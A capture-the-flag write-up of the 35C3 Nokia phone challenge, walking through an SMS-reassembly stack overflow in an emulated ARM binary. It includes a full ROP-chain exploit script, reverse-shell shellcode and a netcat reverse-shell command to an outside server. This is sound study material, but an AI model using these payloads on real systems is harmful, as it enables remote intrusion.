by jinblack
Remember the Nokia 1337 from 31C3? This time we have a
real target
for you!
Note: There is a giant readme in the provided archive. Make sure you read it and try everything locally first. After you have your exploit, launch it against the remote infrastructure and get to the real meat!
Note 2: The UI crashes when you select a phone book entry and select “Options”. This is not intended and an oversight by the author but isn’t relevant to the solution to the challenge. So just don’t hit that button.
Hints: To avoid confusion: The target phone can reach external hosts on the internet and has netcat installed.
There is a phone running somewhere at the 35c3 convention. It is connected to a GSM network. But there is no radio connection for the physical layer, instead, all the GSM protocol run over UDP packets that are sent through an OpenVPN connection.
I ran the buildall
script, it took a while (I was in the South of Italy visiting my parents, here internet connection is far from good).
I ran the startall
script and only two containers out of 3 came up. One container was the baseband
. another one was an osmocombb
instance with 2 configured phone, and the third one, the one who did not come up, the one that really matters was an emulator for the Nokia phone.
nokia_qemu
container is dying just after the start, but this does not stop us from getting inside and find our binary.
the container as an image
folder and inside that we have nokia-image-nokia.ext4
. This is the filesystem of our phone. We can mount this and take a look.
sudo mount ./nokia-image-nokia.ext4 /mnt
There is a /flag.txt
file containing:
If this was the real challenge, you would find the flag here.
So we at least know where is the flag.
Inside /opt/nokia
we have 3 arm32 binaries: baseband
layer1
nokia_ui
. So, we probably need to remotely pwn one of those binaries and read the flag.
We definitely need to have a running setup if we want to have any chance of pwning this. So we need to figure out why our docker container is not working. To be honest inside the readme there where some hint on how to run the container. But at that time I was not aware enough of the challenge set up to actually understand that. The Nokia phone is running inside a qemu that is inside the docker container. The problem was that it was not able to connect to x11 server to actually render stuff.
My solution was to change the -display sdl
into -vnc :0
from the runqemu.sh
.
This enables a vnc server that you need to expose outside the container to actually have access to it.
So you need to add a -p 5900:5900
to you docker running command inside the run.sh
script.
Then we can connect to the screen using vinagre
a vnc client.
When the nokia is running you can also connect through ssh as explained by the runall.sh
script.
Running ps
we can actually confirm that those binaries that we found are actually running on the phone.
1172 root 6924 S /opt/nokia/nokia_ui
1173 root 1564 S /sbin/agetty -8 -L ttyAMA0 115200 xterm
1174 root 4944 S /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/gsm.pid --cd /etc/open
1205 root 5852 S /opt/nokia/layer1
1206 root 6124 S /opt/nokia/baseband
1209 root 2108 S /usr/sbin/dropbear -i -r /etc/dropbear/dropbear_rsa_host_key -B
Opening the binary with ida you actually understand that most of the code is in thumb mode. But my ida fails to identify the code like that. You can use Alt+G
to change the flag T
to let ida know that a segment is actually in thumb mode.
Playing with the phone you can notice that only 2 main functionalities are implemented inside the phone.
So this phone cannot do voice call. Can only send and receive SMSes. Then we need to find where those SMSes are actually handled.
Around address 0x12E82
we see this:
if ( v49 == 0x202 )
{
v51 = osmo_hexdump(recvstuff + 0x11, 163);
printf("Received SMS TPDU: %s\n", v51);
recv_sms(v44, recvstuff[16], recvstuff + 0x11);
JUMPOUT(__CS__, v12);
}
if ( v49 == 515 )
{
printf("Received SMS confirmation: msg_ref: %u - cause: %u\n", recvstuff[180], *(recvstuff + 46));
if ( recvstuff[181] )
sub_13388(v44, recvstuff[180], *(recvstuff + 46));
}
else if ( v49 == 258 )
{
printf("Shutdown indication: Old state: %u - New State: %u\n", *(recvstuff + 2), (*(recvstuff + 2) >> 32));
if ( *(recvstuff + 5) == 3 )
*(v44 + 60) = 1;
JUMPOUT(__CS__, v12);
}
goto LABEL_20;
The Received SMS TPDU
gives away the fact that the next function is probably where SMS is interpreted.
Here is the decompiled source from recv_sms
.
There is basically 2 way of receiving SMS:
To have a multi-part SMS you need to insert inside the SMS payload a User Data Header (UDH
).
You can read the standard but this stuff is well known and can also be found on Wikipedia Concatenated SMS
.
Looking at the Wikipedia page we can compare the standard header for multi-part SMS with this code:
puts("Received SMS with UDH");
if ( userbuf->encoded_data[1] )
{
printf("Got unknown information element in UDH: 0x%02x\n", userbuf->encoded_data[1]);
goto FAIL;
}
if ( userbuf->encoded_data[0] != 5 )
{
puts("Concatenated SMS UDH with length != 5?");
FAIL:
puts("Received SMS with malformed/unknown UDH. Discarding...");
result = talloc_free(userbuf, 115284);
goto LABEL_33;
}
if ( userbuf->encoded_data[2] != 3 )
{
puts("Concatenated SMS UDH with header length != 3?");
goto FAIL;
}
nparts = userbuf->encoded_data[4];
if ( nparts > 3 )
{
puts("Too many parts");
goto FAIL;
}
refnum = userbuf->encoded_data[3];
seqnum = userbuf->encoded_data[5];
We know that the binary is using the standard UDH format. We can give a name to all those bytes that the program is parsing.
So basically when you send a multipart SMS you add this header where you write a refnum
or CSMS
that is a unique id to identify the sequence of SMSes. You have a nparts
or number of parts that are expected for that SMS. And the most important seqnum
a number that says which part of SMS you are handling (2 means this is the second piece of the SMS).
We also notice that we cannot have SMSes that are bigger than 3 parts.
After a while playing ctfs you know that if the author spent the time to implement the multi-part SMS protocol that stuff is needed for the attack.
Where multi-part SMSes are actually processed we find this:
{
if ( !v55 || v55 > 3 )
puts("Unknown data coding scheme in sms. Copying raw data after UDH");
puts("8 bit encoding");
v49 = 134;
v50 = *(v47->data + 28);
if ( v50 <= 0x8C )
v49 = v50 - 6;
memcpy(&payload[134 * seqnum - 134], (v47->data + 35), v49);
}
This code is actually reconstructing the SMS from all its parties. Copying the result inside payload
a variable on the stack.
seqnum
is a value that we can control arbitrarily. Even if we are limited to only 3 parts we can specify that we are sending part number 4 and this will cause the memcpy to write outside the allocated buffer writing the return address on the stack gaining control of the PC
.
We need to be able to send SMS to this phone to actually exploit the vulnerability. Thankfully the author provided us with a full setup that also contains configured version of osmocombb
software.
After a while playing with these software (and actually reading the source code) I found that if you type enable in the console you can use the sms
command to send some SMSes.
The problem was that the interface was very limited. It was sending only single sms with the 7bit encoding scheme and was accepting only ASCII character. I needed to be more flexible to be able to produce multi-part SMSes.
I tried to sniff the output of osmocombb
to be able to write a python script. But I quickly discovered that the full gsm protocol was involved.
This includes asking and obtaining a channel to actually communicate with the baseband. Implementing all this stuff was time consuming and, in ctf, you do not have much time.
So, I decided to patch osmocombb
software to implement a command that let me send a more customizable sms.
Full patch is available here
. The interesting stuff is:
Be able to specify that the packet contains a UDH header.
sms->ud_hdr_ind = atoi((char *)argv[1]);
Specify that the data was 8bit encoded and not 7bit encoded.
sms->data_coding_scheme = 4;
Write sms as hex encoded so that I could you any value.
char * text_hex = argv_concat(argv, argc, 3);
char * text = hex2b(text_hex);
int text_len = strlen(text_hex) / 2;
The result is a command like this where I specify that UHD is included and the sms is hex encoded:
smshex one 1 9999 05000317010a170069350100921a05b46b2a0100247017006935010069460b276b2a0100287017006935010001dfc0466b2a01002c70170069350100020012346b2a01003070170069350100253b24286b2a010034701700693501002f62696e6b2a010038701700693501002f7368006b2a01003c7017006935010001701700531f0100
Now we can communicate via SMS with the phone and we also have a vulnerability.
I wrote a small python function to encode SMSes:
def encode_part(ref_num, data, CSMS=0x17, max_part=3):
assert max_part <= 3
header = "\x05\x00\x03" + chr(CSMS) + chr(max_part) + chr(ref_num)
return header+data
We can craft few SMSes with payloads from the cyclic
command of pwntools and find how to control the PC.
c = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa"
print "smshex one 1 9999",encode_part(4, c[:134], max_part=1).encode("hex")
Now that we control PC challenge is solved right?
Actually was not so easy. Even if it was a nokia phone, in reality, it was a binary running on a Linux distro. So it had NX bit and ASLR enable. The binary was not PIE.
When I usually exploit a no PIE binary with ASLR and NX bit, I write a ropchain that leak something from the .got
and then read again on top of the stack for a second stage rop that uses libc
. But this time I did not have a connection to the binary. So was very hard to implement a second stage sent later.
The phone had Internet access and also nc
installed. So the plan was to execute:
system("nc myserver 9999 -e /bin/bash");
system
was not in the .got so I need to do some computation from a value in the got to get the address for system
.
This stuff is hard while ropping, so the exploitation plan was slightly different: Let’s map some executable address and write a shellcode that does a reverse connection.
So, I collected a few gadgets and built the ropachain that execute a mmap
on an address the I can choose. Permissions for this new page are of course RWX
.
# 0x0001275e : ldr r3, [r5, #0x20] ; cmp r3, r4 ; bne #0x12760 ; ldrd r4, r5, [sp] ; add sp, #8 ; pop {r6, pc}
r3load = 0x0001275e
#0x000128fe : pop {r5, pc}
r5pop = 0x000128fe
#0x000118c6 : pop {r4, pc}
r4pop = 0x000118c6
#0x000172a6 : pop {r2, r3, r4, pc}
r234pop = 0x000172a6
#0x00016c12 : pop {r1, r4, pc}
r14pop = 0x00016c12
#0x00015c24 : pop {r0, r3, pc}
r03pop = 0x00015c24
#0x00012b4e : pop {r2, pc}
r2pop = 0x00012b4e
#0x000111c4 : pop {r3, pc} not thumb
r3popnothumb = 0x000111c4
#0x00011f52 : blx r4
blxr4 = 0x00011f52
# void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
mmap = 0x00011240
mmap = 0x00013E0C +1
memcpy = 0x00011410
memcpy_got = 0x000320C0
#0x0001fe36 : add r3, sp, #0x2b8
addr3sp = 0x0001fe36
#0x000176c0 : add r0, sp, #0x1a0 ; movs r1, r0 ; bx lr
#0x000122c0 : ldm.w ip, {r5, sb, sl, lr} ; add sp, #0x10 ; pop {r4, pc}
ctrlr = 0x000122c0
#0x00014b5a : ldr lr, [sp], #4 ; b.w #0x1263e
setlrjmpr3 = 0x00014b5a
"""
Register state when we take control of PC
r0 0x0 0
r1 0x38024 229412
r2 0x35a70 219760
r3 0x35a70 219760
r4 0x61716161 1634820449
r5 0x61726161 1634885985
r6 0x61736161 1634951521
r7 0x61746161 1635017057
r8 0x61756161 1635082593
r9 0x61766161 1635148129
r10 0x61776161 1635213665
r11 0x61786161 1635279201
r12 0x7 7
sp 0x7efe9b38 0x7efe9b38
lr 0x3f 63
pc 0x5a5a5a5a 0x5a5a5a5a
cpsr 0x600b0110 1611333904
fpscr 0x10 16
"""
address = 0x177000
stderr = 0x00036E90
ropchain = c[:74] + p32(stderr) + p32(address) * 4
ropchain = ropchain.ljust(94, "A")
ropchain += p32(r3popnothumb)
ropchain += p32(address) #r3 dont care
ropchain += p32(r5pop+1)
ropchain += p32(address) #r5 dont care
ropchain += p32(r14pop+1)
ropchain += p32(0x1000) #r1 size
ropchain += p32(address) #r4 dont care
ropchain += p32(r234pop+1) #pc
ropchain += p32(7) #r2 prot
ropchain += p32(address) #r3 dont care
ropchain += p32(address) #r4 dont care
ropchain += p32(r03pop+1) #pc
ropchain += p32(address) #r0 addr
ropchain += p32(0x22) #r3 flags Anonimous
ropchain += p32(mmap)
ropchain += p32(0x0) #fildes
ropchain += p32(0x0) #off
ropchain += p32(0x41414141) #pc
The main problem was that mmap
assumed to be called with a BLX
, ergo it will return to the value inside the lr
register.
For whatever reason that I do not know lr
register was set to 0x3f
so a direct jump to mmap
would cause a crash at the end.
Instead of jumping directly to mmap
then, we can use a call of mmap
that is already in the program somewhere.
This, after the execution of the mmap
, would continue the execution in that part of the program.
Then we just need to have the program not crashing before reaching another return that do not use link register.
I jumped to 0x00013E0C +1
.
.text:00013E04 200 MOV.W R2, #3 ; prot
.text:00013E08 200 ADD R1, R5 ; len
.text:00013E0A 200 STR R5, [R4,#0x58] ; Store to Memory
.text:00013E0C 200 BLX mmap ; Branch with Link and Exchange (immediate address)
.text:00013E10 200 ADDS R3, R0, #1 ; Rd = Op1 + Op2
.text:00013E12 200 STR R0, [R4,#0x5C] ; Store to Memory
.text:00013E14 200 BEQ.W loc_140F0 ; Bran
To ensure that the execution would continue without crashing, I tried to set most registers to address
. In this way, instructions differentiating those registers would not end up crashing.
This actually (and surprisingly) worked. I manually executed my payload with gdb until the program was popping another value from the stack to the PC
register.
I save the address did some math to understand how far it was from the vulnerable buffer. With an sms in position 8
we can gain back control of PC
register.
At this point, we have a page in the memory space with a fixed address where we can write and jump into.
We need some reliable way to copy a shellcode into this memory and jump to it.
I tried for several hours to build a call to memcpy but I was not able to put a stack address into r1
register. (r1
is the source register because of the calling convention of amr32).
Thankfully marcof came out with the idea of building a ropchain that write the shellcode into memory using registers.
This is the type of gadget that you need:
# 0x00013568 : str r4, [r3] ; mov r0, r1 ; pop {r4, pc}
storer4r3 = 0x00013568
You put 4 bytes that you want to write in r4
and the address where to write in r3
and keep doing that until the whole shellcode is written.
The challenge here was to have a chain not too long, because we were close to env variable on the stack, overwriting env was ending in a crash because used by some time function.
After several iterations we end up with this script to generate such chain:
ropchain_second += p32(r4pop+1) #r4
ropchain_second += shellcode[0:4] #r4
for x in range(0, len(shellcode), 4):
spiece_next = shellcode[x+4:x+8]
if x >= len(shellcode)-4:
spiece_next = p32(address+1) # These put jumping address in r4
print "done"
ropchain_second += p32(popr3+1) #pc
ropchain_second += p32(address+x) #r3 value
ropchain_second += p32(storer4r3+1) #pc
ropchain_second += spiece_next #r4
#add jump to address
ropchain_second += p32(blxr4+1)
The other point to keep the chain short was keeping the payload short. We basically used this shellcode
with small fixes:
This is the final script that produces 5 SMSes. The last one is the one which triggers the bug so it needs to be the last one.
from pwn import *
def encode_part(ref_num, data, CSMS=0x17, max_part=3):
assert max_part <= 3
header = "\x05\x00\x03" + chr(CSMS) + chr(max_part) + chr(ref_num)
return header+data
c = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa"
#r3 load
# 0x0001275e : ldr r3, [r5, #0x20] ; cmp r3, r4 ; bne #0x12760 ; ldrd r4, r5, [sp] ; add sp, #8 ; pop {r6, pc}
r3load = 0x0001275e
#0x000128fe : pop {r5, pc}
r5pop = 0x000128fe
#0x000118c6 : pop {r4, pc}
r4pop = 0x000118c6
#0x000172a6 : pop {r2, r3, r4, pc}
r234pop = 0x000172a6
#0x00016c12 : pop {r1, r4, pc}
r14pop = 0x00016c12
#0x00015c24 : pop {r0, r3, pc}
r03pop = 0x00015c24
#0x00012b4e : pop {r2, pc}
r2pop = 0x00012b4e
#0x000111c4 : pop {r3, pc} not thumb
r3popnothumb = 0x000111c4
#0x00011f52 : blx r4
blxr4 = 0x00011f52
# void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
mmap = 0x00011240
mmap = 0x00013E0C +1
memcpy = 0x00011410
memcpy_got = 0x000320C0
#0x0001fe36 : add r3, sp, #0x2b8
addr3sp = 0x0001fe36
#0x000176c0 : add r0, sp, #0x1a0 ; movs r1, r0 ; bx lr
#0x000122c0 : ldm.w ip, {r5, sb, sl, lr} ; add sp, #0x10 ; pop {r4, pc}
ctrlr = 0x000122c0
#0x00014b5a : ldr lr, [sp], #4 ; b.w #0x1263e
setlrjmpr3 = 0x00014b5a
"""
Register state when we take control of PC
r0 0x0 0
r1 0x38024 229412
r2 0x35a70 219760
r3 0x35a70 219760
r4 0x61716161 1634820449
r5 0x61726161 1634885985
r6 0x61736161 1634951521
r7 0x61746161 1635017057
r8 0x61756161 1635082593
r9 0x61766161 1635148129
r10 0x61776161 1635213665
r11 0x61786161 1635279201
r12 0x7 7
sp 0x7efe9b38 0x7efe9b38
lr 0x3f 63
pc 0x5a5a5a5a 0x5a5a5a5a
cpsr 0x600b0110 1611333904
fpscr 0x10 16
"""
address = 0x177000
stderr = 0x00036E90
ropchain = c[:74] + p32(stderr) + p32(address) * 4
ropchain = ropchain.ljust(94, "A")
ropchain += p32(r3popnothumb)
ropchain += p32(address) #r3 dont care
ropchain += p32(r5pop+1)
ropchain += p32(address) #r5 dont care
ropchain += p32(r14pop+1)
ropchain += p32(0x1000) #r1 size
ropchain += p32(address) #r4 dont care
ropchain += p32(r234pop+1) #pc
ropchain += p32(7) #r2 prot
ropchain += p32(address) #r3 dont care
ropchain += p32(address) #r4 dont care
ropchain += p32(r03pop+1) #pc
ropchain += p32(address) #r0 addr
ropchain += p32(0x22) #r3 flags Anonimous
ropchain += p32(mmap)
ropchain += p32(0x0) #fildes
ropchain += p32(0x0) #off
ropchain += p32(0x41414141) #pc
"""
r0 0xffffffff 4294967295
r1 0x9 9
r2 0x76f9c6a0 1996080800
r3 0xffffffff 4294967295
r4 0x41414141 1094795585
r5 0x41414141 1094795585
r6 0x41414141 1094795585
r7 0x41414141 1094795585
r8 0x41414141 1094795585
r9 0x177000 1536000
r10 0x177000 1536000
r11 0x177000 1536000
r12 0x6 6
sp 0x7ed1fd70 0x7ed1fd70
lr 0x76dde329 1994253097
pc 0x5a5a5a5a 0x5a5a5a5a
cpsr 0x200f0110 537854224
fpscr 0x10 16
"""
#0x000118c4 : strb r3, [r4] ; pop {r4, pc}
storer3r4 = 0x000118c4
#0x00013ad2 : str r2, [r3] ; pop {r4, pc}
storer2r3 = 0x00013ad2
# 0x00013568 : str r4, [r3] ; mov r0, r1 ; pop {r4, pc}
storer4r3 = 0x00013568
ropchain_second = "A"*126
# 0x00012a6a : pop {r3, pc}
popr3 = 0x00012a6a
shellcode = "\x02\x20\x01\x21\x92\x1A\x0F\x02\x19\x37\x01\xDF\x06\x1C\x08\xA1\x10\x22\x02\x37\x01\xDF\x3F\x27\x02\x21\x30\x1c\x01\xdf\x01\x39\xFB\xD5\x05\xA0\x92\x1a\x05\xb4\x69\x46\x0b\x27\x01\xDF\xC0\x46\x02\x00\x12\x34\x25\x3b\x24\x28\x2f\x62\x69\x6e\x2f\x73\x68\x00"
print len(shellcode)
ropchain_second += p32(r4pop+1) #r4
ropchain_second += shellcode[0:4] #r4
for x in range(0, len(shellcode), 4):
spiece_next = shellcode[x+4:x+8]
if x >= len(shellcode)-4:
spiece_next = p32(address+1) # These put jumping address in r4
print "done"
ropchain_second += p32(popr3+1) #pc
ropchain_second += p32(address+x) #r3 value
ropchain_second += p32(storer4r3+1) #pc
ropchain_second += spiece_next #r4
#add jump to address
ropchain_second += p32(blxr4+1)
ropchain1 = ropchain[:134]
ropchain2 = ropchain[134:]
ropchain_second1 = ropchain_second[:134]
ropchain_second2 = ropchain_second[134:134*2]
ropchain_second3 = ropchain_second[134*2:134*3]
# ropchain_second4 = ropchain_second[134*3:]
print len(ropchain_second4)
print "smshex one 1 9999", encode_part(5+5, ropchain_second3, max_part=1, CSMS=23).encode("hex")
print "smshex one 1 9999", encode_part(5+6, ropchain_second4, max_part=1, CSMS=24).encode("hex")
# print "smshex one 1 9999", encode_part(5+4, ropchain_second2, max_part=1, CSMS=21).encode("hex")
print "smshex one 1 9999", encode_part(5+3, ropchain_second1, max_part=3).encode("hex")
print "smshex one 1 9999", encode_part(5, ropchain2, max_part=3).encode("hex")
print "smshex one 1 9999",encode_part(4, ropchain1, max_part=3).encode("hex")
#35C3_n0k1a_pH0ne_i5_b3st_ph0n3